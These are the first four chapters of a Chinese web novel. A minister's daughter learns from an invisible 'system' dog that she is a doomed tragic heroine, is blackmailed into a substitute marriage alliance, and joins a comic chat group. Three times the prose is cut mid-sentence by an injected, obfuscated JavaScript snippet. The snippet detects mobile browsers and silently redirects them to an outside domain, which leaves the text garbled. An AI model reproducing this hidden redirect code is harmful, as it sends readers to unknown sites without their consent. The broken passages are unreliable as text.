《虐文女主要登基》 1. 小狗(修) 姜柠吃了午饭后,躺在竹椅上休息片刻。 夏日悠长,闲来无事,她喜欢这样静静地躺在花园中,闲看花开花落,蜂蝶飞舞。 忽然,她眼前突然出现了一只黑色的小狗。这小狗挺可爱的,但身体竟像是虚影一般,能被阳光穿透。 姜柠觉得很奇怪,又仔细看了看。 这时,黑色小狗却突然开口说话:“嗨,姜柠。” 姜柠吓了一跳,以为自己出现了幻觉。 这小狗又说道:“你别害怕,我是来帮你的。” 姜柠喊道:“冬香!小雪!” 贴身丫环冬香、小雪便赶紧跑了过来,问道:“大小姐有什么吩咐?” 姜柠的声音有些颤抖:“你们有没有看见一只黑色的小狗?” “没有啊。” “是啊,小姐您不是从来不养狗的吗?” 那黑色小狗又对姜柠说道:“姜柠,其他人看不见我,我来自异世界,是一个系统。其实我的真身也不是狗,所以你别把我认成是什么妖魔鬼怪。你可以用意念跟我交流,不信你试试。” 姜柠听不太懂,但她还是用意念问小狗:“你真的不是狗妖?” “不是,我是一个拯救虐文女主的系统,而你,就是一本虐文的女主。只要我拯救一百个虐文女主,就能升级了。所以,我是来帮你的。” “你说的词,让我很费解。” 姜柠越来越疑惑。什么虐文,什么女主,什么系统,什么升级……全是她没听过的词汇。 小狗道:“这些词不重要,重要的是,你未来的命运会非常凄惨,我可以告诉你一切。” “你胡说,未来的事谁能说得准?” “对普通人而言,未来是不确定的。但你在一本书里,用你们的话说,是在一本话本里。你的未来早就已经写好,但我可以帮你改变。总之,你先屏退下人,我慢慢跟你说。” 姜柠刚才一直在用意念跟小狗交流,丫环们只能看见姜柠直愣愣地盯着前面看,以为她中邪了,纷纷说道:“大小姐,您没事吧?”“大小姐,您怎么不说话?” 姜柠回过神来,道:“我没事,只是有些累。你们先离开吧。” 丫环们离开后,姜柠回到了房间,那只黑色小狗也跟了过来。它不是走过来的,似乎是一瞬间就飘到了姜柠眼前,姜柠更加确定自己遇到了灵异事件。 她觉得,如果这只小狗想害自己,刚才就能杀了自己,何必说这么多话?它既然有话想说,不如就听听看。 如果这小狗真的有恶意,自己只需去找父亲,请个道士来驱邪便是。 因此,姜柠大着胆子问道:“现在四下无人,你要说什么?” 那小狗道:“其实,你们所在的世界是一个话本,叫《南风知我意》。你是这本书的女主角,南萧国礼部尚书之女姜柠。北胤皇帝慕容显是男主角。本来你们南萧国大公主将要去北胤和亲,但她不愿意去,她的母亲靳贵妃便想出了让你代替大公主和亲的主意。因为你和大公主有五分相似,只要稍加打扮,北胤那边就认不出来了。” 姜柠确实跟大公主萧梦苒有几分相似,因此萧梦苒和靳贵妃都不太喜欢她。 这也难怪,萧梦苒贵为公主,长得国色天香,月貌花颜,本该是独一无二的存在。但姜柠却跟她撞脸,脸又不像衣服一样可以更换,心胸狭窄些的姑娘自然不喜。 姜柠倒是不介意,但大公主很介意。每次见面,大公主都要明里暗里挤兑姜柠。 姜柠身为臣女,也只能退避三舍,十分无奈。 她本以为,只要自己尽量少出现在大公主面前就没事,但听这小狗所言,自己竟因为跟大公主相似的容貌,而不得不去北胤和亲? 也不知道那个北胤皇帝慕容显是什么样的人…… 可是现在的北胤皇帝不是叫慕容旻吗? 而且,这小狗所言未必是真的…… 她不知道自己为何会见到这只小狗,难道是幻觉? 她狠狠掐了自己一把,很痛,不是做梦。 她问小狗:“你说的都是真的?” “真的。” “可现在的北胤皇帝不叫慕容显啊。” “慕容显是现任北胤皇帝的儿子,将来老皇帝驾崩,他会继承皇位。” “原来是这样……那他是个什么样的人?” 小狗道:“既然是虐文,那他的性格肯定不会很好,总之就是暴戾恣睢、疑心病重、强取豪夺、为所欲为。你去了北胤之后被封为锦妃,一开始还算受宠,但后来被其他妃嫔欺负、算计,时常有生命危险。最后,慕容显决定对南萧国开战,就杀了你祭旗。结果打仗输了,他又后悔杀了你,陷入了深深的自责当中。 直到最后他才明白,他最爱的人是你,可惜已经无法挽回。于是,他找了好多像你的替身,收入后宫。可惜,那些女子终究只是形似,而非神似,慕容显虽然坐拥江山,心里却感到无边的孤独。” 姜柠听得满脑袋问号:“这是什么奇怪的发展?” 小狗道:“大致的剧情就是这样,姜柠小姐还有什么问题吗?” 姜柠道:“有问题,问题很大。首先,我不相信你说的话。其次,就算这些事真的发生,我又哪里像个女主角了?” “咳咳,虐文女主嘛,都是这样的。一开始,男主没有认清自己的心意,错把女配当个宝。等女主死了,男主后悔了,可惜已经无力回天。慕容显最终悔悟了,终其一生都在怀念你。” “可是,我要他的后悔和怀念干什么?我想要活着。” “要活下去,也是可以的,只不过条件比较苛刻……” 小狗还想说什么,姜柠道:“我不想听你胡说八道了,我要请道士来驱邪。” “哎,等等……再给我一个时辰的时间,一个时辰后,自有分晓。” “一个时辰,能做什么?” “总之,我说的话是真是假,马上就能得到验证。” 姜柠觉得再等等也无妨,经过刚才的观察,这小狗除了胡说八道之外,似乎没有什么危险。 她拿来宝塔香插,点上一支奇楠沉香。沉香的气味淡雅隽永,抚平了她焦躁的思绪。 听这小狗说得煞有介事,她也在怀疑这些事是否真的会发生。 可是,这太荒诞了…… 才过了半个时辰,丫环小雪进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146944|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来道:“小姐,宫里来人了,说是贵妃娘娘传唤。” “贵妃娘娘?” 姜柠心里打鼓,不知贵妃找自己做什么。 她以前见过贵妃几次,觉得贵妃是个不太好相处的人。虽说姜柠长得跟大公主相像,但贵妃总是用一种淡漠嫌恶的目光看着姜柠,似乎觉得姜柠不配长得跟她女儿相像。 皇帝对姜柠倒是不错,大约是姜柠像自己女儿的缘故,皇帝每次见到姜柠,都会和声细语,并加以赏赐。 当下容不得多想,姜柠换上一身鹅黄色对襟袄,配一条杏白色织金祥云裙,梳了个端庄的朝天髻,首饰多以素簪为主,鲜艳夺目的首饰一概不戴。 姜柠选的衣服是大公主不喜欢的样式,这样也许贵妃会对她和善些。贵妃似乎不喜欢姜柠打扮得跟自己的女儿太过相像。大公主喜欢浓烈的颜色、娇贵的料子,那姜柠的着装就以淡色为主。 她带上冬香、小雪,坐上马车,往宫里而去。 姜柠的父亲是礼部尚书,为了方便办公,他们家住得离皇宫很近。 因此,马车走了两炷香的功夫,便进了宫门。 不过,皇宫十分宏伟辽阔,重楼复阁,屋宇众多,她们又坐了半个多时辰的车,才到了内宫门口。 内宫是后妃和未成年皇子公主的居所,外面的马车不能入内,姜柠便只能下车步行。 靳贵妃所住的揽月宫,在御花园深处,风景最胜之处。因靳贵妃喜爱御花园的景色,皇上特意为她在御花园正中心修建揽月宫,这样她一出门便能赏景,无需远行。 除了她,阖宫之人都没有这样的待遇,足见靳贵妃之盛宠。 御花园成正圆形,平均分为春喜、夏愉、秋嘉、冬畅四园,依不同的时令,栽种不同的鲜花,以确保无论何时,都有可赏玩之景。 如今正是阳春三月,草长莺飞,太监领着姜柠等人从春喜园进入,一路上桃红柳绿,百花争艳,香风拂人,莺声燕语,不必尽说。 姜柠有心事,也顾不上看风景,只专心看着脚下的路。藕粉色的绣花鞋在裙摆下若隐若现,鞋底是用云州素锦所做,走起路来没有声音,十分优雅,只是走得久了脚会很累。 姜柠的脚已经开始微微发酸,也不知是因为这鞋太柔软了,还是因为心里太紧张了。 又走了一炷香的时间,一行人来到了揽月宫。 太监进去通报,过了一会,有宫女出来道:“贵妃娘娘让姜姑娘一人进去。” 姜柠只得将两个丫环留在门口,脱了鞋,趋步进入。 揽月宫里铺着昂贵的波斯地毯,这种地毯很难打理,没法清洗,因此所有人进去都必须脱鞋,连皇上也不例外。 这是贵妃定下的规矩,而贵妃的规矩就是皇上的规矩。 重重纱幔将房间一分为二,贵妃在内室,斜倚在榻上,隐隐可以看出慵懒高贵的身形。 而姜柠则跪在帷幔之后,向贵妃请安。 贵妃慢悠悠地品着茶,也没说什么,姜柠便只能一直跪着。 等了好一会儿,贵妃似乎对姜柠的礼仪满意了,轻轻开口道:“走进来吧。” 姜柠赶紧起身,低着头进入帷帐里面。 2. 威胁(修) 她不敢看贵妃,只能盯着面前的蓝色地毯看。 贵妃打量了姜柠几眼,道:“怎么穿得这么素净?来人,去把大公主的衣裙拿过来,给姜姑娘试穿。” 姜柠有些惶恐:“臣女怎敢穿大公主的衣服?” 贵妃幽幽地道:“你们长得相似,身形也像,本宫只是想看看你穿上大公主的衣服是何模样,你无需推辞。” 姜柠虽然有些害怕,但也不容她拒绝。 很快,宫女们便拿来一套石榴色浮光锦罗裙,并一整套银累丝嵌珍珠头面,给姜柠换上。 她们如此快地拿出来,可见是一早就准备好的。 贵妃极为看重大公主,平时大公主的东西绝不可能给别人用。可今日,她却让姜柠穿上大公主的衣裳首饰,其目的一定不简单。 姜柠想起了那只小狗说过的话,心跳如鼓。该不会,那小狗说的是真的吧? 姜柠像木偶一般任由宫女们打扮。没过多久,她看起来便焕然一新。 她本就是很大气的长相,穿得明艳之后,愈发显得姿容绝世,国色倾城。 看着她的模样,贵妃眼中闪过一瞬间的不悦,随即又露出了满意与放心的神色。 接着,贵妃问周围的宫女:“你们看姜小姐的模样,跟大公主是否更加相似了?” 宫女们纷纷答道: “确实更像了,不过没有大公主有气质。” “只是形似而已,其神韵可远远比不上大公主。” “大公主是天上的凤凰,又岂是寻常女子能比。” 听着宫女们的恭维,贵妃微笑着,似乎很受用。接着,她对众宫人说道:“你们都退下吧。” 宫人们鱼贯而出,很快,殿内就剩下贵妃和姜柠二人。 贵妃问道:“姜小姐,你可知本宫为何要让你穿大公主的衣服?” 姜柠斟酌着字句,答道:“是因为臣女跟大公主身形相似,娘娘让臣女帮大公主试衣服吗?” 贵妃看着手上鲜红的蔻丹,道:“大公主的衣服都是根据身量尺寸裁的,无需找人试衣。本宫就开门见山了。大皇子跟北胤交战,为北胤所掳,皇上意欲让大公主和亲北胤,换回大皇子。” 姜柠听了这些话,感到浑身战栗,头皮发麻。那只小狗果然说中了,姜柠有些神情恍惚。 贵妃继续说道:“大公主和大皇子都是本宫所生,对本宫来说,手心手背都是肉,没法用一个去换另一个。姜姑娘,你可愿替本宫分忧?” 姜柠问道:“娘娘的意思是,让臣女代替大公主去和亲?” “没错,你很聪明。你跟大公主长得像,这是天意。你若能替大公主和亲,本宫会厚待你的家人。” 姜柠犹豫道:“可是……臣女资质鄙陋,没法代替大公主……” 贵妃有些不悦,盯着姜柠,显露出极强的压迫感:“怎么,你不愿意?互换身份之后,你从臣女成为公主,日后成为北胤妃子,地位大大提高,是你赚了。而本宫的女儿,以后只能以礼部尚书之女的身份活着。这对你只有好处,没有坏处。” 姜柠心中讽刺地一笑。贵妃为了保全自己的女儿,才把姜柠推出去,可偏偏要装出一副为姜柠着想的样子。好处占了,道德高地也占了,这贵妃是一点亏都不吃。 姜柠大起胆子,道:“若是臣女拒绝呢?” 贵妃眼神锋利,语气却不疾不徐:“姜姑娘,你没有选择的余地。你父亲曾为吴王府长史,后来吴王谋反,你父亲被迫跟随。吴王兵败被诛之后,皇上清算吴王党羽,却念在你父亲才学出众,且并非自愿跟随叛军,便赦免了你父亲,还让他在礼部任职。 而吴王的其他党羽,也只诛杀了几位首领,其余人等只是流放。这些年来,你父亲一直在偷偷照顾这些流放的吴王旧部,本宫已掌握确实证据。此事若追究起来,重则处死,轻则罢官,罪行的推定全在本宫一念之间。当然,也在姜小姐的一念之间。” 贵妃狭长的丹凤眼紧盯着姜柠,似乎胜券在握。一瞬间,姜柠心思百转。 贵妃的兄弟在大理寺任职,很多案件其实贵妃是可以暗中插手的。贵妃看似给了姜柠选择权,其实姜柠还能有什么别的选择? 姜柠知道自己的父亲姜焕曾经在吴王府任职,吴王是当今皇上的叔父,后来谋反被杀。 父亲得到皇上赦免,还被授予官职,实属天恩浩荡。 而其余吴王旧部,被流放北境为奴,终身不得获赦。北境艰苦,且劳役繁重,这些吴王旧部过得很艰难。 父亲念在昔日同僚之情,偶尔加以照顾,其实也不过是在他们生病的时候偷偷送去大夫和药材,在他们想念家人时偷偷把他们的家人送过去见一面而已。 不过,这些事若闹大了,确实对父亲、对姜家不利,所以都是偷偷进行,层层转手,力求掩盖姜家出手帮助的痕迹。 没想到,这些事还是被贵妃查出来了。 姜柠解释道:“吴王全家已被诛杀,父亲只是因为重情重义,才对昔日的同僚略加照顾,并无他意。” 若是贵妃要以父亲心怀旧主的罪名处置他,是不成立的,因为吴王连个遗孤都没有,父亲要去扶持谁?叛军所有首领尽皆被诛,余下的不过是一些不重要的人,不成气候。 贵妃却哂笑道:“吴王虽无遗孤,但你父亲偷偷联络吴王旧部,是否对朝廷心怀不满,想再次起事?有些事,不需要真的发生,只要皇上认为是,那就是。” 姜柠知道贵妃说的是真的。皇上怎么想,只看贵妃如何挑拨。 所以,姜家的生死荣辱,都系在姜柠一人身上了。 姜柠想起了忠厚清正的父亲、年迈多病的祖母、年幼天真的弟弟妹妹…… 她咬了咬唇,恭敬下拜:“臣女姜柠,愿为贵妃娘娘、大公主分忧。” 贵妃笑吟吟地扶起她:“好孩子,从今以后,你得唤我一声母妃。” “是,母妃。” 贵妃嘴角扬起一抹得意的笑。虽然从今以后她跟大公主不能再以母女相称,但大公主总算得以保全。 这时,姜柠感觉到身后有一道视线在盯着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146945|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回头一看,是一个身着橘红色宫装、明艳而凌厉的少女,跟姜柠有五分相似。 姜柠对那少女下拜:“臣女拜见大公主。” 大公主冷冷地瞧着她:“哼,我的身份给你,便宜你了。” 姜柠心中有苦说不出。这个身份是她想要的吗? 贵妃让姜柠起来,嘱咐道:“你先回家准备吧。三日后,大公主去礼部尚书府,成为姜家大小姐,而你代替大公主和亲北胤。” 姜柠应道:“是。” 姜柠迈着沉重的步伐离开。而大公主萧梦苒则有些不满,对贵妃道:“母妃,一定要这样安排吗?” 贵妃道:“不这样安排,难道你想和亲北胤,嫁给那个老皇帝?他以前可是杀过和亲公主的,你姑姑扬邑公主便是死在他手上。” 大公主想了想,终究还是害怕,道:“女儿不想和亲。” “这就对了。礼部尚书官位不低,你去了姜家当大小姐,生活条件不会差,母妃和父皇也会经常给你钱,你缺了什么也可以随时派人回宫说。母妃保证,你以后的生活跟现在不会有太大区别。而且,母妃会找个机会收你为义女,这样你又可以跟母妃母女相称了,还能经常回宫看母妃和父皇。” 大公主抱住了贵妃:“母妃,您对我真好……可父皇却要拿我换弟弟回来,他平时对我的宠爱都是假的。” “你弟弟是大皇子,将来很有可能继承大统,对你父皇来说更为重要,但他绝不是不疼你。” “那在母妃心中,也是弟弟更为重要吗?” “当然不是。母妃若舍得下你,也就不用布这个局了。” “我就知道母妃对我最好。” 大公主和贵妃其乐融融,而另一边,姜柠却心事重重地回了家。 家人询问她发生何事,她便如实说了。 父亲叹息道:“都是爹害了你。” 姜柠却道:“塞翁失马,焉知非福?也许这是女儿的机会,父亲不必担忧。” 姜柠虽然出言宽慰父亲,但她心里却不是这么想的。根据那个小狗的说法,自己最后会惨死北胤。 只是,她不想让家人担心。 她回到房间,发现小狗还在,便道:“你果真说中了,贵妃要我代替大公主,和亲北胤。” 小狗道:“这下你相信我说的话了?” “相信。那我该如何改变命运?” “十万积分可以改变剧情。” “何为积分?” “你可以理解为是一种特殊的数字,当你做善事的时候,积分就会增加。累计到十万,你就能改变命运了。” “十万?那岂不是要攒许久?” “应该是吧。” “可你不是说,我和亲不久后就会死?” “根据原来的剧情,你和亲后活了三年。只要在三年内积攒十万积分,就能继续活下去了。在此之前,既定的剧情没法改变,你还是要走上和亲之路。” 姜柠在心里盘算着。三年,十万积分……虽然困难,但也可以一试。 3. 进群(修) 如果自己有很多钱,做起善事来就容易许多。所以,自己要想办法多挣钱。 眼下就有一个好机会。既然她要代替大公主和亲,那便可以向贵妃多要点嫁妆。这些嫁妆都是自己的资本,既可以保障自己的生活,又可以拿出来做善事,积累积分。 姜柠决定,这几天再进宫一趟,跟贵妃商量嫁妆的事。 这时,那小狗又说道:“姜柠小姐,你无论去哪,我都会跟你一起。” “你确定没有其他人看得见你?” “确定。” “你除了知道未来剧情外,还能做什么?” “本来我该给你一个金手指,可是我等级太低了,没法提供什么有用的金手指,只能给你一个夸夸群。” “何为金手指?何为夸夸群?” “金手指就是一种特殊的技能,但我没有。夸夸群,大概就是一个多人交谈的场所,里面的人除了夸奖你,就是赞美你。现在,我身体旁边会出现一个金色的按钮。你只需轻轻按一下按钮,就能进群。” 姜柠有点没听懂,但那只小狗身侧果然出现了一个金色按钮。 姜柠试着点了一下,那只小狗就消失了,眼前出现一个绿色的界面。接着,有一些话凭空在里面出现。 【樱桃小完犊子:欢迎新人!】 【只涨工资不长肉:欢迎新人!】 【你已被群主移出群聊:新人一定是个萌妹子!】 【有趣的灵魂一百多斤:相逢即是有缘,不知姑娘叫什么名字?】 姜柠看着这些凭空出现的话,有些害怕。这时,小狗的声音在她脑海中响起:“这就是夸夸群,你只需要说话,你的话就会打在公屏上。当然,这些也只有你能看见。” 姜柠心想,所谓公屏,应该就是这个绿色的界面了。 她试着说了一句:“我叫姜柠。” 接着,绿色屏幕里出现了一句话:【姜柠:我叫姜柠。】 她有些明白了。两个竖着的小点,是分隔用的符号。在符号之前的文字,是自己的名字。符号之后的文字,是自己说的话。文字的最后,也会有一些符号,不知是什么意思,但不影响理解。 只是,如果是这样的话,那其他人的名字都挺奇怪的,完全看不出是什么意思。她只能猜测那个“樱桃小完犊子”应该是一头名叫樱桃的小牛犊。 小牛犊会说话也没什么奇怪的,毕竟连小狗都会说话。 小狗的声音再次响起:“姜柠小姐,你在使用夸夸群的时候,如果想找我,只需在心里跟我说话就行了。如果把话说出来,就会像刚才一样,打在公屏上。” 姜柠便在心里跟小狗交流:“那怎么关闭这个夸夸群?” “在绿色屏幕右上角有一个红色的小点,按一下那个小点,就自动关闭了。” 在她跟小狗交流的工夫,屏幕上的话又多了一些。 【活人微死:哇,这个名字好特别!姜柠一定是个小美女!】 【感觉尸体暖暖的:对,姜柠这名字,一听就是古言小说里的大家闺秀!】 【姜柠:谢谢大家的夸奖,我该怎么称呼各位?】 【樱桃小完犊子:叫我们牛马就行。】 【你已被群主移出群聊:也可以叫我们社畜。】 姜柠心想,这又是牛马又是什么畜的,看来它们果真是一群动物成精,可能跟那小狗在同一个地方修炼。 虽然她有点害怕,但这些动物似乎都挺和善的,没有恶意。姜柠觉得跟它们聊天挺有趣的,暂时不想关闭夸夸群。 这时,群里又有人说话: 【回笼教教主:姜柠这名字,我好像在哪听过。你是不是《南风知我意》的女主?】 【姜柠:好像是的。您是教主吗?请问回笼教在什么地方?】 【回笼教教主:在被窝里,哈哈哈……】 姜柠觉得有些奇怪,大概是这位教主不想暴露自己教派的位置吧。 接着,她又觉得教主所问的话有些奇怪,便接着说道: 【姜柠:按教主刚才的问法,难道您不是我这个世界的?】 【回笼教教主:我们是异世界的打工人,只有你是小说女主。】 【樱桃小完犊子:膜拜女主。】 【活人微死:膜拜女主。】 【只涨工资不长肉:膜拜女主。】 【有趣的灵魂一百多斤:膜拜女主。】 【姜柠:谢谢大家,我当不起你们的膜拜。】 【感觉尸体暖暖的:不,你当得起,女主大人请受小人一拜。】 【你已被群主移出群聊:女主大人,千万要小心慕容显那个狗东西。】 【姜柠:哦,谢谢,我会小心的。】 【只涨工资不长肉:就是,我们女主人美心善,温柔大方,倾国倾城,聪明伶俐,功盖三皇,德过五帝,凭什么被虐?】 姜柠心想,前面几个成语她勉强当得起,但功盖三皇、德过五帝是什么鬼东西? 【樱桃小完犊子:为什么不是女主坐拥万里江山,享受无边孤独?这样的好事什么时候才能轮到女主?】 【活人微死:@樱桃小完犊子会云多云。】 【回笼教教主:@樱桃小完犊子书无店砸。】 她们的聊天,有许多地方姜柠都听不懂。不过她看出来,这个樱桃小完犊子在为她说话。于是,她礼貌道谢: 【姜柠:樱桃小牛,我觉得你说的有道理,作为虐文女主,我其实并不想死。】 【活人微死:樱桃小牛哈哈哈哈……】 【有趣的灵魂一百多斤:妈呀姜柠比我还有趣23333】 【感觉尸体暖暖的:姜柠太萌了,让我想起了我还不是毒妇的时候。】 【回笼觉教主:樱桃小牛,这个昵称不错呀。】 【樱桃小完犊子:@姜柠你为啥这么叫俺?】 【姜柠:我以为你是一头名叫樱桃的小牛,难道是我理解错了?】 【樱桃小完犊子:23333你要这么理解也可以,或者直接叫俺樱桃吧。】 【姜柠:好的樱桃。】 【活人微死:好的樱桃。】 【只涨工资不长肉:好的樱桃。】 【回笼教教主:好的樱桃。】 【姜柠:你们为何重复我说的话?】 【活人微死:因为我们是复读机。】 你已被群主移出群聊:因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146946|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我们是复读机。】 【姜柠:复读机是何物?你们刚才不是说自己是牛马吗?】 【樱桃小完犊子:哈哈哈姜柠太可爱了,想一屁股坐死!】 姜柠吓了一跳,莫非这樱桃小牛想杀她?可是看樱桃小牛的语气,又像是在开玩笑。 【你已被群主移出群聊:樱桃小牛,玩梗需适度,别吓到小朋友。】 【姜柠:谢谢群聊姐姐。】 【你已被群主移出群聊:噗,别叫我群聊,可以叫我群主。】 【姜柠:群主?你是不是说错了,应该是郡主吧?你是异世界的郡主?】 【你已被群主移出群聊:噗,不是郡主,是群主。我们这个世界没有郡主,人人平等。】 【姜柠:真的吗?可是你们那里还有教主,并非人人平等吧?】 【回笼教教主:哈哈,这个教主是我自封的,任何人都可以自称是回笼教教主。】 【姜柠:教主岂是人人能当的?】 【回笼教教主:你会睡觉吧?会睡觉就能当教主!】 姜柠觉得很费解。她分不清这些人说的哪些是真话,哪些是开玩笑。 不过,跟她们聊天,心情倒是变好了。 【姜柠:你们的异世界在哪里?也是一个话本里面吗?】 【活人微死:不,我们不在话本里,我们只看话本。】 【有趣的灵魂一百多斤:我们在一个很远的地方。】 【姜柠:那我们为何能在一起说话?】 【有趣的灵魂一百多斤:这是科技的力量。】 姜柠不懂,她觉得那个异世界可能离自己的世界并不远。 她在心里问小狗:“小狗,这夸夸群有什么用?” “嗯……没什么用,里面的人只能陪你聊天而已,不过会让你很开心。在这个群里,只能夸别人,不能骂人或是贬低别人。” “懂了。所以她们都是人,不是牛马?” “不,她们不是。牛马可以休息,她们不能。” 姜柠觉得,群里的这些姐姐也太惨了,一定是在异世界服劳役。不过她们还能开玩笑,可见非常乐观。 【活人微死:糟了,开会时间到了,我要去开会了】 【樱桃小完犊子:我也有工作要忙,先下线了。】 【回笼教教主:虽然我今天请假了,但我也可以假装自己很忙,我先去忙了,哈哈哈】 【感觉尸体暖暖的:我也有事先走一步~】 看见大家都离开了,姜柠就关闭了群聊。 过了一会,宫中来人了,是贵妃身边的几个嬷嬷。姜柠赶紧去大厅,依礼迎接。 一位姓庞的嬷嬷道:“公主殿下,奉贵妃娘娘口谕,以后您需牢记自己的身份,不可出错。奴婢等是来教您宫中礼仪的。另外,这是皇上和贵妃新拟的嫁妆单子,请您过目。” 姜柠既然要代替大公主出嫁,那么从现在开始,其他人都要改口称呼她为公主了,她自己也要记住公主的身份,以免露了破绽。 虽然这件事是被迫的,但被人叫公主的感觉还挺不错的。 姜柠心想,既然此事已无法改变,倒不如转变思路,享受公主的身份。 4. 敲打(修) 因此,她稍稍有些疏离地说:“有劳庞嬷嬷了。我先看看嫁妆单子,再学习宫廷礼仪。” 以前她不在乎嫁妆里有什么,但现在嫁妆对她来说可非常要紧。她这一离开,背井离乡的,能依靠的也就只有这些嫁妆了。 皇帝和贵妃给的嫁妆不少,比之前姜柠的嫁妆足足多了一倍,完全符合一个公主的排场。 不过,姜柠还是想多要一些,便对庞嬷嬷道:“庞嬷嬷,我还想要一箱黄金、一箱珠宝、一箱瓷器。另外,文渊阁有《四时香谱》《天心香谱》两本书,我希望能作为我的陪嫁。还有,我希望出嫁那天,有皇子送嫁,宰相作陪,并给我父亲进爵。” 姜柠提的要求并不算过分,她怎么说也算是拯救了大公主,再要一些嫁妆,讲究一下婚礼的排场,并给父亲要点好处,也算合理。 至于要这两本香谱,是因为姜柠从小对香道有研究,以后也打算通过制香挣钱。而文渊阁的这两本香谱十分珍贵,属于孤本,里面记载了一些特别的香方,对姜柠来说很有用。 文渊阁是皇家书院,遍藏各种经籍图书,区区两本香谱并不算什么。如果姜柠不拿走,也是白放着,说不定放坏了也没人去看。 庞嬷嬷的脸色有些不好看,但还是恭敬地应道:“公主的意思,奴婢会转告贵妃娘娘。还请公主谨记,以后您的父母便是皇上和贵妃,礼部尚书姜焕跟您再无关系。” 姜柠心中泛起一丝悲伤,但脸上却笑道:“这个自然,我记住了。” 接着,姜柠便开始学习宫廷礼仪。 时间紧迫,也没法学太多,庞嬷嬷她们只能把最要紧的一些礼仪教给姜柠。 姜柠从小便是大家闺秀,学起礼仪来是很快的,到第二天便像模像样了。 于是,几位嬷嬷回去复命。 没过多久,宫中传出旨意:姜柠的嫁妆增加三箱,分别是一箱黄金、一箱珠宝、一箱瓷器。文渊阁的《四时香谱》《天心香谱》,也一并送给姜柠。出嫁时,会由二皇子相送,尚书令、中书令作陪。另外,加封礼部尚书姜焕为忠义伯。 南萧国实行三省六部制,三省的长官尚书令、中书令、侍中皆算宰相。 一下子派出两个宰相来送嫁,姜柠的排场也算很大了。 姜柠提的几点要求都得到了满足,她心中也没什么遗憾了。 姜焕获封伯爵,却并不欣喜,只是为姜柠而悲伤。他自是舍不得姜柠去和亲的,可他是臣子,君命不得不听,也十分无奈。 他将姜柠叫进书房,屏退下人,嘱咐了许多话,无非是保重自己、见机行事、凡事不要冒头之类的。 姜柠道:“父亲,您无需为我担心,我有数的。此番我替大公主和亲,也算是于国有功,公主这个身份说不定还能帮到我许多。以后大公主萧梦苒便要顶替我的身份,你们跟她相处时,不要得罪她。只要我们各自安好,就没什么不放心的了。虽然眼下暂时分离,但终有重逢之日。” 见姜柠这么说,姜焕稍感安慰。他本以为女儿会难过,还准备了很多话安慰女儿。 没想到,姜柠比他想的要坚强许多。至于重逢,他是不奢望了。去和亲的女子,几乎没有能回来的。 他叹息道:“爹虽官居三品,但还是有很多事无能为力啊。” 姜柠道:“无能为力,是因为地位还不够高。假如有一天,所有人都要听我的,而我不需要听任何人的,那就无需担忧了。” 姜焕有些惊讶,赶紧阻止道:“柠儿,这话可不能乱说。若是被有心人听见,只怕要生事。” 如果要达到所有人都听姜柠的地步,除非姜柠称帝。但这种想法是十分大逆不道的,姜焕才惊吓至此。 姜柠笑道:“爹,您别担心,女儿不过是随口一说。” 跟父亲聊完后,姜柠打开门,发现弟弟妹妹、祖母等人都站在院子里,依依不舍地看着她。祖母眼中还有泪光。 姜柠也忍不住流泪,道:“以后你们都要保重……” 几个年幼的弟弟妹妹已经过来抱住她,哭着不许她走。 姜柠勉强笑道:“这可由不得我们。趁着现在还有时间,咱们最后吃一顿团圆饭吧。” 祖母道:“嗯,咱们都去饭厅吧,饭菜已经准备好了,都是柠儿你爱吃的。” 谁知,此时却来了一队太监、一队侍卫。为首的太监对姜柠说道:“大公主,请您回宫待嫁。姜大小姐也已回来,以后您就不要来姜大小姐的家了。” 姜柠明白,自己明日肯定是要从皇宫出嫁的,不然没法瞒过北胤使臣。 但没想到,连跟家人吃最后一顿团圆饭的时间也没有。 大公主萧梦苒已经走了进来,身边跟着二十多个侍从,带着几十箱生活用品,排场极大。 她眼含敌意地看了姜柠一眼,道:“从现在起,你是萧梦苒了,你该回宫了。” 姜柠认命地往外走去。 姜府众人都跪迎大公主到来,萧梦苒神情倨傲,也没让他们起来。 姜柠提醒道:“你现在是姜家大小姐,是不能让姜家长辈向你下跪的。” 萧梦苒这才不情不愿地说道:“你们都起来吧,别被外人瞧见了。” 姜焕等人才得以站了起来。 姜柠这才放下心来,离开了这个居住了十八年的姜府。 今日的黄昏有些凄凉,姜柠透过车窗往外看,只觉得天高地迥,人似天地一尘埃。 前路艰难,她只能孤身去闯。 陪嫁丫环她只选了冬香和小雪二人,一方面是剧情里注定的,另一方面她也不想让更多的下人背井离乡,所以没有带走更多下人。 